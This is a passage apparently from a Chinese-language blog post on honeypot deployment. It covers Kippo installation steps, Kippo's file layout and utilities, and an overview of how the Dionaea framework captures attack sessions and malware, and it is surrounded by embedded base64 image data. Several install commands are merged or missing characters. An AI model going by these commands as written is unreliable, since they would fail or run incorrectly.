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" alt="" />

0x3: Ubuntu 14.04 64安装

git clone https://github.com/desaster/kippo.git
cd kippo
pip install twisted
pip install twisted --upgrade pip install PyCrypto
pip install pycparser sudo apt-get install libffi-dev
pip install cffi
wget https://pypi.python.org/packages/source/c/cffi/cffi-1.5.2.tar.gz
tar -zvxf cffi-1.5..tar.gz
cd cffi-1.5.
python setup.py install pip install idna
pip install pyasn1
pip install enum34
pip install ipaddress
pip install cryptography
pip install cryptography --upgrade useradd littlehann
su littlehann cp kippo.cfg.dist kippo.cfg
./start.sh

Files of interest

. data: 存放ssh key,lastlog.txt和userdb.txt lastlog.txt:last命令的输出,即存储了登陆蜜罐的信息,也可以伪造 userdb.txt:可以登陆的用户,可以给一个用户设置多个密码,一个用户一行 格式为username:uid:password

. honeyfs: etc目录中存在group hostname hosts issue passwd resolv.conf shadow这些 文件,cat /etc/filename目录中对应的文件时会显示这些文本文件中的内容. proc目录中存在cpuinfo meminfo version这些文件,cat /proc/filename目录中对应的文件时会显示这些文本文件中的内容.

. log: 存放日志文件的地方,该目录包含一个kippo.log文件和tty目录 kippo.log:是存放启动记录,那些IP连接等信息 tty目录是每一个ssh过来后操作的记录,可以使用strings filename直接看到里面的内容

. txtcmds: 存放命令的地方,这些命令都是文本文件,执行相关命令的时候直接显示文件内容

. kippo: 核心文件,模拟一些交互式的命令等等

. dl: wget等等下载的文件存放的地方

. utils: convert32.py:把tty的日志转换为标准32位的小数格式,其实直接strings查看就可以了 createfs.py:可以用来模拟真实系统的一些文件目录之类的,不过需要设置一下需要重定向保存输出,然后去替换fs.pickle文件,这样就可以模拟真实系统了.

. fsctl.py:用来修改已经生成的fs.pickle的文件,help有命令的帮助

. passdb.py:是来添加账户密码的 

. playloh.py:对log/tty/下的日志进行回放的

Relevant Link:

关于Kippo的安装、配置参考以下文章
http://code.google.com/p/kippo/
http://www.haiyun.me/archives/centos-install-kippo.html
http://297020555.blog.51cto.com/1396304/553382/
http://drops.wooyun.org/papers/4578
https://github.com/desaster/kippo

3. Dionaea: 低交互式蜜罐框架部署

Dionaea虽然也是一个低交互的蜜罐系统,但和Kippo不同的是,Dionaea集成了很多不同类型的蜜罐在一起,整体来说是一个框架的结构,方便开源社区进行扩展,支持FTP、HTTP、SSH、mysql、mssql、sip等协议的蜜罐模拟,我们可以使用它来部署更加贴近真实的蜜罐环境,从而能更有效的捕获攻击样本、和攻击轨迹数据

Dionaea 蜜罐的设计目的是诱捕恶意攻击,获取恶意攻击会话与恶意代码程序样本。它通过模拟各种常见服务:

) 捕获对服务的攻击数据
) 记录攻击源和目标IP、端口、协议类型等信息
) 以及完整的网络会话过程
) 自动分析其中可能包含的 shellcode 及其中的函数调用和下载文件,并获取恶意程序

Dionaea 的整体结构和工作机制

) Dionaea是运行于Linux上的一个应用程序,将程序运行于网络环境下,它开放Internet上常见服务的默认端口,当有外来连接时,模拟正常服务给予反馈,同时记录下出入网络数据流。
) 网络数据流经由检测模块检测后按类别进行处理,如果有 shellcode 则进行仿真执行
) 程序会自动下载 shellcode 中指定下载或后续攻击命令指定下载的恶意文件。从捕获数据到下载恶意文件
) 整个流程的信息都被保存到数据库中,留待分析或提交到第三方分析机构。

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